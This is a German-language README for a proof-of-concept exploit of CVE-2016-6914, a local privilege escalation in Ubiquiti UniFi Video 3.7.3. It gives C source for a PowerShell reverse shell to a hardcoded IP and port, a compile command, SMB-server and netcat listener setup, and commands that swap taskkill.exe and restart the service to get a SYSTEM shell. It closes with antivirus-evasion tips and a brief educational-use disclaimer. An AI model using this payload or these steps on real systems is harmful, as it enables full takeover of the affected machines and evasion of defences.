
CVE-2016-6914-UniFiVideo-LPE
Dieses Repository enthält ein Proof-of-Concept (PoC) für CVE-2016-6914, eine Lokale Privilegienausweitung (LPE)-Sicherheitslücke, die Ubiquiti UniFi Video 3.7.3 betrifft.
Ein Angreifer mit niedrigen Berechtigungen kann eine vertrauenswürdige Binärdatei (taskkill.exe) innerhalb von C:\ProgramData\unifi-video\ ersetzen, um bösartigen Code mit SYSTEM-Berechtigungen auszuführen.
1️⃣ Ersetzen Sie taskkill.exe durch eine bösartige Nutzlast (exploit.exe).
2️⃣ Warten Sie, bis der UniFi Video Service läuft, oder starten Sie ihn manuell neu.
3️⃣ Die bösartige Nutzlast wird ausgeführt und öffnet eine SYSTEM-Shell.
Diese Nutzlast ersetzt taskkill.exe und startet eine Reverse Shell.
#include <windows.h>
int main() {
system("powershell -NoP -W Hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\"");
return 0;
}
✅ Kompilieren mit MinGW:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
1️⃣ SMB-Freigabe einrichten (für entfernte Dateilieferung) Auf Kali ausführen:
impacket-smbserver share . -smb2support
2️⃣ Netcat-Listener starten
nc -lvnp 4444
3️⃣ Nutzlast an Zielmaschine übermitteln Führen Sie die folgenden PowerShell-Befehle auf dem Zielsystem aus:
copy \\10.10.14.5\share\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe
stop-service UnifiVideoService -Force
start-service UnifiVideoService
4️⃣ SYSTEM-Shell erhalten Nach der Ausführung wird auf Ihrem Listener eine SYSTEM-Shell geöffnet!
Um grundlegende AV-Erkennung zu umgehen, versuchen Sie: ✔️ Ausführbare Datei packen (UPX):
upx --best --lzma exploit.exe
✔️ Verwendung alternativer Syscalls anstelle von system(). ✔️ Einbettung in legitime Prozesse mittels DLL-Injection.
📢 Dieses PoC dient nur zu Bildungszwecken! 🛑 Unbefugte Nutzung ist illegal und strafbar. 👨💻 Verwenden Sie es nur auf legale und ethische Weise.